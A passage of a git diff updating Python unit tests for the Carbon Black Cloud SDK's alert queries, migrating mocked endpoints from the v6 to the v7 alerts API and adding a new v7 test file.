cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b/results", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_ALERTS) - - api = cbcsdk_mock.api - alert = api.select(CBAnalyticsAlert, '86123310980efd0b38111eba4bfa5e98aa30b19') - events = alert.get_events() - assert len(events) == 2 - for event in events: - assert event.alert_id == ['62802DCE'] - - -def test_get_events_invalid_alert_id(cbcsdk_mock): - """Test get_events method with invalid alert_id""" - cbcsdk_mock.mock_request("GET", - "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", - GET_ALERT_RESP_INVALID_ALERT_ID) - - api = cbcsdk_mock.api - alert = api.select(CBAnalyticsAlert, '86123310980efd0b38111eba4bfa5e98aa30b19') - with pytest.raises(ApiError): + with pytest.raises(FunctionalityDecommissioned): alert.get_events() -def test_get_events_async(cbcsdk_mock): - """Test async get_events method""" - cbcsdk_mock.mock_request("GET", - "/appservices/v6/orgs/test/alerts/86123310980efd0b38111eba4bfa5e98aa30b19", - GET_ALERT_RESP) - cbcsdk_mock.mock_request("POST", "/api/investigate/v2/orgs/test/enriched_events/detail_jobs", - POST_ENRICHED_EVENTS_SEARCH_JOB_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP) - cbcsdk_mock.mock_request("GET", - "/api/investigate/v2/orgs/test/enriched_events/detail_jobs/08ffa932-b633-4107-ba56" - "-8741e929e48b/results", - # noqa: E501 - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_ALERTS) - - api = cbcsdk_mock.api - alert = api.select(CBAnalyticsAlert, '86123310980efd0b38111eba4bfa5e98aa30b19') - events = alert.get_events(async_mode=True).result() - assert len(events) == 2 - for event in events: - assert event.alert_id == ['62802DCE'] - - def test_query_basealert_with_time_range_errors(cbcsdk_mock): """Test exceptions in alert query""" api = cbcsdk_mock.api with pytest.raises(ApiError) as ex: api.select(BaseAlert).where("Blort").set_time_range("invalid", range="whatever") - assert "key must be one of create_time, first_event_time, last_event_time, or last_update_time" in str(ex.value) + assert "key must be one of create_time, first_event_time, last_event_time or last_update_time" in str(ex.value) with pytest.raises(ApiError) as ex: api.select(BaseAlert).where("Blort").set_time_range("create_time", @@ -972,9 +861,16 @@ def test_query_basealert_with_time_range_errors(cbcsdk_mock): with pytest.raises(ApiError) as ex: api.select(BaseAlert).where("Blort").set_time_range("create_time") - assert "must specify either start= and end= or range=" in str(ex.value) + with pytest.raises(ApiError) as ex: + api.select(BaseAlert).where("Blort").set_time_range("backend_timestamp", range="-3w") + assert "key must be one of create_time, first_event_time, last_event_time or last_update_time" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(BaseAlert).where("Blort").set_time_range("detection_timestamp", range="-3w") + assert "key must be one of create_time, first_event_time, last_event_time or last_update_time" in str(ex.value) + def test_query_basealert_sort_error(cbcsdk_mock): """Test an alert query with the invalid sort direction""" @@ -986,69 +882,72 @@ def test_query_basealert_sort_error(cbcsdk_mock): def test_query_basealert_facets_error(cbcsdk_mock): """Test an alert facet query with invalid term.""" + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_facet", GET_ALERT_FACET_RESP_INVALID) + cbcsdk_mock.mocks['POST:/api/alerts/v7/orgs/test/alerts/_facet'].__setattr__("status_code", 400) api = cbcsdk_mock.api query = api.select(BaseAlert).where("Blort").set_workflows(["OPEN"]) with pytest.raises(ApiError) as ex: - query.facets(["ALABALA", "STATUS"]) - assert "One or more invalid term field names" in str(ex.value) + query.facets(["ALABALA"]) + assert "'error_code': 'INVALID_ENUM_VALUE'" in str(ex.value) def test_get_notes_for_alert(cbcsdk_mock): """Test retrieving notes for an alert""" cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", GET_ALERT_RESP_WITH_NOTES) cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35/notes", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", GET_ALERT_NOTES) api = cbcsdk_mock.api - alert = api.select(BaseAlert, "1ba0c35f-9c01-4413-afd8-fe4f01365e35") + alert = api.select(BaseAlert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") notes = alert.notes_() assert len(notes) == 2 assert notes[0].author == "Grogu" - assert notes[0].id == "1" - assert notes[0].create_time == "2021-05-13T00:20:46.474Z" - assert notes[0].note == "I am a note" + assert notes[0].id == "3gsgsfds" + assert notes[0].create_time == "2023-04-18T03:25:44.397Z" + assert notes[0].note == "I am Grogu" def test_base_alert_create_note(cbcsdk_mock): """Test creating a new note on an alert""" + def on_post(url, body, **kwargs): body == {"note": "I am Grogu"} - return CREATE_ALERT_NOTE + return CREATE_ALERT_NOTE_RESP cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", GET_ALERT_RESP_WITH_NOTES) cbcsdk_mock.mock_request('POST', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35/notes", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", on_post) api = cbcsdk_mock.api - alert = api.select(BaseAlert, "1ba0c35f-9c01-4413-afd8-fe4f01365e35") + alert = api.select(BaseAlert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") note = alert.create_note("I am Grogu") - assert note[0].note == "I am Grogu" + assert note.note == "I am Grogu" def test_base_alert_delete_note(cbcsdk_mock): """Test deleting a note from an alert""" cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", GET_ALERT_RESP_WITH_NOTES) cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35/notes", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", GET_ALERT_NOTES) cbcsdk_mock.mock_request('DELETE', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35/notes/1", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes/3gsgsfds", None) api = cbcsdk_mock.api - alert = api.select(BaseAlert, "1ba0c35f-9c01-4413-afd8-fe4f01365e35") + alert = api.select(BaseAlert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") notes = alert.notes_() notes[0].delete() assert notes[0]._is_deleted @@ -1064,15 +963,15 @@ def test_base_alert_unsupported_query_notes(cbcsdk_mock): def test_base_alert_refresh_note(cbcsdk_mock): """Testing single note refresh""" cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81", GET_ALERT_RESP_WITH_NOTES) cbcsdk_mock.mock_request('GET', - "/appservices/v6/orgs/test/alerts/1ba0c35f-9c01-4413-afd8-fe4f01365e35/notes", + "/api/alerts/v7/orgs/test/alerts/52dbd1b6-539b-a3f7-34bd-f6eb13a99b81/notes", GET_ALERT_NOTES) api = cbcsdk_mock.api - alert = api.select(BaseAlert, "1ba0c35f-9c01-4413-afd8-fe4f01365e35") + alert = api.select(BaseAlert, "52dbd1b6-539b-a3f7-34bd-f6eb13a99b81") notes = alert.notes_() assert notes[0]._refresh() is True @@ -1082,7 +981,7 @@ def test_alert_search_suggestions(cbcsdk_mock): api = cbcsdk_mock.api cbcsdk_mock.mock_request( "GET", - "/appservices/v6/orgs/test/alerts/search_suggestions?suggest.q=", + "/api/alerts/v7/orgs/test/alerts/search_suggestions?suggest.q=", ALERT_SEARCH_SUGGESTIONS_RESP, ) result = BaseAlert.search_suggestions(api, "") @@ -1093,3 +992,46 @@ def test_alert_search_suggestions_api_error(): """Tests getting alert search suggestions - no CBCloudAPI arg""" with pytest.raises(ApiError): BaseAlert.search_suggestions("", "") + + +def test_set_types(cbcsdk_mock): + """Tests that when an invalid alert type is entered an ApiError is raised""" + api = cbcsdk_mock.api + query = api.select(BaseAlert).set_types(["CB_ANALYTICS"]) + assert query._criteria == {'type': ['CB_ANALYTICS']} + + +def test_get_attr_alert_v6_valid_attrib(cbcsdk_mock): + """Test the __get_attr_ method for a valid attribute.""" + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/12ab345cd6-e2d1-4118-8a8d-04f521ae66aa", + GET_ALERT_RESP) + cb = cbcsdk_mock.api + alert = cb.select(BaseAlert, GET_ALERT_RESP.get("id")) + + assert alert.policy_id == 1234567 + + +def test_new_alert_type(cbcsdk_mock): + """Test legacy BaseAlert class instantiation with an alert type unknown to CBC SDK.""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": {"type": ["FIRST_NEW_TEST_ALERT_TYPE"]}, + "rows": 1 + } + return {"results": [{"org_key": "ABCD1234", + "alert_url": "https://defense.conferdeploy.net/alerts?s[c][query_string]=" + "id:MYVERYFIRSTNEWALERTTYPE0001&orgKey=ABCD1234", + "id": "MYVERYFIRSTNEWALERTTYPE0001", + "type": "FIRST_NEW_TEST_ALERT_TYPE", + "backend_timestamp": "2023-04-14T21:30:40.570Z", + "user_update_timestamp": None}], + "num_found": 1} + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/alerts/_search", + on_post) + api = cbcsdk_mock.api + alert_list = api.select(BaseAlert).add_criteria('type', 'FIRST_NEW_TEST_ALERT_TYPE').set_rows(1) + assert len(alert_list) == 1 + alert = alert_list.first() + assert alert.id == "MYVERYFIRSTNEWALERTTYPE0001" + assert alert.type == "FIRST_NEW_TEST_ALERT_TYPE" diff --git a/src/tests/unit/platform/test_alertsv7_api.py b/src/tests/unit/platform/test_alertsv7_api.py new file mode 100755 index 000000000..c2aaf1361 --- /dev/null +++ b/src/tests/unit/platform/test_alertsv7_api.py @@ -0,0 +1,1908 @@ +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +"""Tests of the Alerts V7 API queries.""" +from datetime import datetime + +import pytest + +from cbc_sdk.errors import ApiError, TimeoutError, NonQueryableModel, ModelNotFound, FunctionalityDecommissioned + +from cbc_sdk.platform import ( + BaseAlert, + Alert, + CBAnalyticsAlert, + WatchlistAlert, + ContainerRuntimeAlert, + HostBasedFirewallAlert, + IntrusionDetectionSystemAlert, + DeviceControlAlert, + Process, + Job +) +from cbc_sdk.rest_api import CBCloudAPI +from tests.unit.fixtures.CBCSDKMock import CBCSDKMock +from tests.unit.fixtures.mock_rest_api import ALERT_SEARCH_SUGGESTIONS_RESP +from tests.unit.fixtures.platform.mock_alerts_v7 import ( + GET_ALERT_TYPE_WATCHLIST, + GET_ALERT_TYPE_WATCHLIST_INVALID, + GET_ALERT_RESP_WITH_NOTES, + GET_ALERT_NOTES, + CREATE_ALERT_NOTE_RESP, + GET_ALERT_RESP, + GET_ALERT_FACET_RESP_INVALID, + GET_ALERT_FACET_RESP, + GET_ALERT_v7_INTRUSION_DETECTION_SYSTEM_RESPONSE, + GET_NEW_ALERT_TYPE_RESP, + GET_OPEN_WORKFLOW_JOB_RESP, + GET_CLOSE_WORKFLOW_JOB_RESP, + GET_ALERT_WORKFLOW_INIT +) +from tests.unit.fixtures.platform.mock_process import ( + POST_PROCESS_VALIDATION_RESP, + POST_PROCESS_SEARCH_JOB_RESP, + GET_PROCESS_SEARCH_JOB_RESP, + GET_PROCESS_SEARCH_JOB_RESULTS_RESP, + GET_PROCESS_SUMMARY_STR, + GET_PROCESS_NOT_FOUND, + GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT_V7 +) +from tests.unit.fixtures.platform.mock_observations import ( + POST_OBSERVATIONS_SEARCH_JOB_RESP, + GET_OBSERVATIONS_DETAIL_JOB_RESULTS_RESP, + GET_OBSERVATIONS_SEARCH_JOB_RESULTS_RESP_STILL_QUERYING +) + +from tests.unit.fixtures.platform.mock_alert_v6_v7_compatibility import ( + GET_ALERT_v7_CB_ANALYTICS_RESPONSE, + GET_ALERT_v7_WATCHLIST_RESPONSE, + GET_ALERT_v7_DEVICE_CONTROL_RESPONSE, + GET_ALERT_v7_HBFW_RESPONSE, + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE, + GET_ALERT_HISTORY, + GET_THREAT_HISTORY +) + + +@pytest.fixture(scope="function") +def cb(): + """Create CBCloudAPI singleton""" + return CBCloudAPI(url="https://example.com", + org_key="test", + token="abcd/1234", + ssl_verify=False) + + +@pytest.fixture(scope="function") +def cbcsdk_mock(monkeypatch, cb): + """Mocks CBC SDK for unit tests""" + return CBCSDKMock(monkeypatch, cb) + + +# ==================================== UNIT TESTS BELOW ==================================== + +def test_query_alert_with_all_bells_and_whistles(cbcsdk_mock): + """Test an alert query with all options selected.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 2, + "criteria": {"device_id": ["6023"], "device_name": ["HAL"], + "device_os": ["LINUX"], "device_os_version": ["0.1.2"], + "device_username": ["JRN"], "id": ["S0L0"], + "severity": ["6"], "device_policy_id": ["8675309"], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], + "process_reputation": ["SUSPECT_MALWARE"], "device_target_value": ["HIGH"], + "threat_id": ["B0RG"], "workflow_status": ["OPEN"]}, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", "type": "WATCHLIST", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").add_criteria("device_id", ["6023"]) \ + .add_criteria("device_name", ["HAL"]).add_criteria("device_os", ["LINUX"]) \ + .add_criteria("device_os_version", ["0.1.2"]) \ + .add_criteria("device_username", ["JRN"]).add_criteria("id", ["S0L0"]) \ + .add_criteria("severity", "6").add_criteria("device_policy_id", ["8675309"]) \ + .add_criteria("device_policy", ["Strict"]).add_criteria("process_name", ["IEXPLORE.EXE"]) \ + .add_criteria("process_sha256", ["0123456789ABCDEF0123456789ABCDEF"]) \ + .add_criteria("process_reputation", ["SUSPECT_MALWARE"]) \ + .add_criteria("device_target_value", ["HIGH"]).add_criteria("threat_id", ["B0RG"]) \ + .add_criteria("workflow_status", ["OPEN"]).sort_by("name", "DESC") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_alert_with_backend_update_timestamp_as_start_end_as_objs(cbcsdk_mock): + """Test an alert query with the backend_update_timestamp specified as start and end time.""" + _timestamp = datetime.now() + + def on_post(url, body, **kwargs): + nonlocal _timestamp + assert body == { + "query": "Blort", + "criteria": { + "backend_update_timestamp": { + "start": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ"), + "end": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ") + } + }, + "rows": 2 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").add_time_criteria("backend_update_timestamp", start=_timestamp, + end=_timestamp) + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_alert_with_backend_update_timestamp_as_range(cbcsdk_mock): + """Test an alert query with the creation time specified as a range.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", "criteria": {"backend_update_timestamp": {"range": "-3w"}}, "rows": 2} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").add_time_criteria("backend_update_timestamp", range="-3w") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_alert_with_time_range_as_start_end(cbcsdk_mock): + """Test an alert query with the time_range specified as a start and end time.""" + _timestamp = datetime.now() + + def on_post(url, body, **kwargs): + nonlocal _timestamp + assert body == {"query": "Blort", + "rows": 2, + "time_range": {"start": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ"), + "end": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ")}, + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").set_time_range(start=_timestamp, end=_timestamp) + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_alert_with_time_range_as_range(cbcsdk_mock): + """Test an alert query with the time_range specified as a range.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", "time_range": {"range": "-3w"}, "rows": 2} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + query = api.select(Alert).where("Blort").set_time_range(range="-3w") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_alert_facets(cbcsdk_mock): + """Test an alert facet query.""" + + def on_post(url, body, **kwargs): + assert body["query"] == "Blort" + t = body["criteria"] + assert t["minimum_severity"] == 3 + t = body["terms"] + assert t["rows"] == 0 + assert t["fields"] == ["type"] + return GET_ALERT_FACET_RESP + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_facet", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").set_minimum_severity(3) + f = query.facets(["type"]) + assert f == [{"field": "type", "values": [{"id": "WATCHLIST", "name": "WATCHLIST", "total": 1916}, + {"id": "CB_ANALYTICS", "name": "CB_ANALYTICS", "total": 41}]}] + + +def test_query_alert_invalid_backend_update_timestamp_combinations(cb): + """Test invalid backend_update_timestamp combinations being supplied to alert queries.""" + with pytest.raises(ApiError): + cb.select(Alert).add_time_criteria("backend_update_timestamp") + with pytest.raises(ApiError): + cb.select(Alert).add_time_criteria("backend_update_timestamp", start="2019-09-30T12:34:56", + end="2019-10-01T12:00:12", range="-3w") + with pytest.raises(ApiError): + cb.select(Alert).add_time_criteria("backend_update_timestamp", start="2019-09-30T12:34:56", range="-3w") + with pytest.raises(ApiError): + cb.select(Alert).add_time_criteria("backend_update_timestamp", end="2019-10-01T12:00:12", range="-3w") + + +def test_query_cbanalyticsalert_with_all_bells_and_whistles(cbcsdk_mock): + """Test a CB Analytics alert query with all options selected.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 2, + "criteria": {"device_id": ["6023"], "device_name": ["HAL"], + "device_os": ["LINUX"], "device_os_version": ["0.1.2"], + "device_username": ["JRN"], "id": ["S0L0"], + "severity": ["6"], "device_policy_id": ["8675309"], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], + "process_reputation": ["SUSPECT_MALWARE"], "device_target_value": ["HIGH"], + "threat_id": ["B0RG"], "type": ["CB_ANALYTICS"], "workflow_status": ["OPEN"], + "device_location": ["ONSITE"], + "policy_applied": ["APPLIED"], + "reason_code": ["ATTACK_VECTOR"], "run_state": ["RAN"], "sensor_action": ["DENY"], + "alert_notes_present": True, "attack_tactic": ["tactic"], + "attack_technique": ["technique"], + "blocked_effective_reputation": ["NOT_LISTED"], "blocked_md5": ["md5_hash"], + "blocked_name": ["tim"], + "blocked_sha256": ["sha256_hash"], + "netconn_remote_ip": ["10.29.99.1"], "netconn_remote_domain": ["example.com"], + "netconn_protocol": ["TCP"], "netconn_remote_port": ["54321"], + "netconn_local_port": ["12345"], + "childproc_cmdline": ["/usr/bin/python"], + "childproc_effective_reputation": ["PUP"], + "childproc_guid": ["12345678"], "childproc_name": ["python"], + "childproc_sha256": ["sha256_child"], "childproc_username": ["steven"], + "parent_cmdline": ["/usr/bin/python"], + "parent_effective_reputation": ["PUP"], + "parent_guid": ["12345678"], "parent_name": ["python"], + "parent_sha256": ["sha256_parent"], "parent_username": ["steven"], + "process_cmdline": ["/usr/bin/python"], + "process_effective_reputation": ["PUP"], + "process_guid": ["12345678"], "process_username": ["steven"], + "process_issuer": ["Microsoft"], "process_publisher": ["Microsoft"] + }, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + query = api.select(Alert).where("Blort").add_criteria("device_id", ["6023"]) \ + .add_criteria("device_name", ["HAL"]).add_criteria("device_os", ["LINUX"]) \ + .add_criteria("device_os_version", ["0.1.2"]) \ + .add_criteria("device_username", ["JRN"]).add_criteria("id", ["S0L0"]) \ + .add_criteria("severity", "6").add_criteria("device_policy_id", ["8675309"]) \ + .add_criteria("device_policy", ["Strict"]).add_criteria("process_name", ["IEXPLORE.EXE"]) \ + .add_criteria("process_sha256", ["0123456789ABCDEF0123456789ABCDEF"]) \ + .add_criteria("process_reputation", ["SUSPECT_MALWARE"]) \ + .add_criteria("device_target_value", ["HIGH"]).add_criteria("threat_id", ["B0RG"]) \ + .add_criteria("workflow_status", ["OPEN"]).add_criteria("type", ["CB_ANALYTICS"]) \ + .add_criteria("netconn_remote_ip", ["10.29.99.1"]).add_criteria("netconn_remote_domain", ["example.com"]) \ + .add_criteria("netconn_protocol", ["TCP"]).add_criteria("netconn_local_port", ["12345"]) \ + .add_criteria("netconn_remote_port", ["54321"]) \ + .add_criteria("device_location", ["ONSITE"]) \ + .add_criteria("policy_applied", ["APPLIED"]).add_criteria("reason_code", ["ATTACK_VECTOR"]).add_criteria( + "run_state", ["RAN"]) \ + .set_alert_notes_present(True).add_criteria("attack_tactic", ["tactic"]).add_criteria( + "attack_technique", ["technique"]) \ + .add_criteria("blocked_effective_reputation", ["NOT_LISTED"]).add_criteria("blocked_md5", + ["md5_hash"]).add_criteria( + "blocked_name", ["tim"]) \ + .add_criteria("blocked_sha256", ["sha256_hash"]).add_criteria("childproc_cmdline", ["/usr/bin/python"]) \ + .add_criteria("childproc_effective_reputation", ["PUP"]) \ + .add_criteria("childproc_guid", ["12345678"]).add_criteria("childproc_name", ["python"]).add_criteria( + "childproc_sha256", ["sha256_child"]) \ + .add_criteria("childproc_username", ["steven"]) \ + .add_criteria("parent_cmdline", ["/usr/bin/python"]).add_criteria("parent_effective_reputation", ["PUP"]) \ + .add_criteria("parent_guid", ["12345678"]).add_criteria("parent_name", ["python"]) \ + .add_criteria("parent_sha256", ["sha256_parent"]) \ + .add_criteria("parent_username", ["steven"]) \ + .add_criteria("process_cmdline", ["/usr/bin/python"]).add_criteria("process_effective_reputation", ["PUP"]) \ + .add_criteria("process_guid", ["12345678"]).add_criteria("process_issuer", ["Microsoft"]).add_criteria( + "process_publisher", ["Microsoft"]) \ + .add_criteria("process_username", ["steven"]) \ + .add_criteria("sensor_action", ["DENY"]).sort_by("name", "DESC") + + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_devicecontrolalert_with_all_bells_and_whistles(cbcsdk_mock): + """Test a device control alert query with all options selected.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 2, + "criteria": {"device_id": ["626"], "device_name": ["HAL"], + "device_os": ["LINUX"], "device_os_version": ["0.1.2"], + "device_username": ["JRN"], "id": ["S0L0"], + "severity": ["6"], "device_policy_id": ["8675309"], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], + "process_reputation": ["SUSPECT_MALWARE"], "device_target_value": ["HIGH"], + "threat_id": ["B0RG"], "type": ["DEVICE_CONTROL"], "workflow_status": ["OPEN"], + "external_device_friendly_name": ["/dev/ice"], + "product_id": ["0x5581"], "product_name": ["Ultra"], + "serial_number": ["4C531001331122115172"], "vendor_id": ["0x0781"], + "vendor_name": ["SanDisk"]}, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").add_criteria("device_id", ["6023"]) \ + .add_criteria("device_name", ["HAL"]).add_criteria("device_os", ["LINUX"]) \ + .add_criteria("device_os_version", ["0.1.2"]) \ + .add_criteria("device_username", ["JRN"]).add_criteria("id", ["S0L0"]) \ + .add_criteria("severity", "6").add_criteria("type", ["DEVICE_CONTROL"]).add_criteria("device_policy_id", + ["8675309"]) \ + .add_criteria("device_policy", ["Strict"]).add_criteria("process_name", ["IEXPLORE.EXE"]) \ + .add_criteria("process_sha256", ["0123456789ABCDEF0123456789ABCDEF"]) \ + .add_criteria("process_reputation", ["SUSPECT_MALWARE"]) \ + .add_criteria("external_device_friendly_name", ["/dev/ice"]).add_criteria("product_id", ["0x5581"]) \ + .add_criteria("product_name", ["Ultra"]).add_criteria("serial_number", ["4C531001331122115172"]) \ + .add_criteria("vendor_id", ["0x0781"]).add_criteria("vendor_name", ["SanDisk"]) \ + .add_criteria("device_target_value", ["HIGH"]).add_criteria("threat_id", ["B0RG"]) \ + .add_criteria("workflow_status", ["OPEN"]).sort_by("name", "DESC") \ + .add_criteria("device_id", ["626"]) \ + .sort_by("name", "DESC") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + assert a.workflow["status"] == "OPEN" + + +def test_query_watchlistalert_with_all_bells_and_whistles(cbcsdk_mock): + """Test a watchlist alert query with all options selected.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", + "rows": 2, + "criteria": {"device_id": ["6023"], "device_name": ["HAL"], + "device_os": ["LINUX"], "device_os_version": ["0.1.2"], + "device_username": ["JRN"], "id": ["S0L0"], + "severity": ["6"], "device_policy_id": ["8675309"], + "device_policy": ["Strict"], + "device_target_value": ["HIGH"], + "watchlists_id": ["100"], "watchlists_name": ["Gandalf"], + "threat_id": ["B0RG"], "type": ["WATCHLIST"], "workflow_status": ["OPEN"], + "netconn_remote_ip": ["10.29.99.1"], "netconn_remote_domain": ["example.com"], + "netconn_protocol": ["TCP"], "netconn_remote_port": ["54321"], + "netconn_local_port": ["12345"], + "childproc_cmdline": ["/usr/bin/python"], + "childproc_effective_reputation": ["PUP"], + "childproc_guid": ["12345678"], "childproc_name": ["python"], + "childproc_sha256": ["sha256_child"], "childproc_username": ["steven"], + "parent_cmdline": ["/usr/bin/python"], + "parent_effective_reputation": ["PUP"], + "parent_guid": ["12345678"], "parent_name": ["python"], + "parent_sha256": ["sha256_parent"], "parent_username": ["steven"], + "process_cmdline": ["/usr/bin/python"], + "process_effective_reputation": ["PUP"], + "process_guid": ["12345678"], "process_name": ["IEXPLORE.EXE"], + "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], + "process_username": ["steven"], + "process_reputation": ["SUSPECT_MALWARE"], + "process_issuer": ["Microsoft"], "process_publisher": ["Microsoft"], + "reason_code": ["XDF"], + "report_id": [""], "report_link": [""], "report_name": ["FinalReport"]}, + "sort": [{"field": "name", "order": "DESC"}]} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).where("Blort").add_criteria("type", 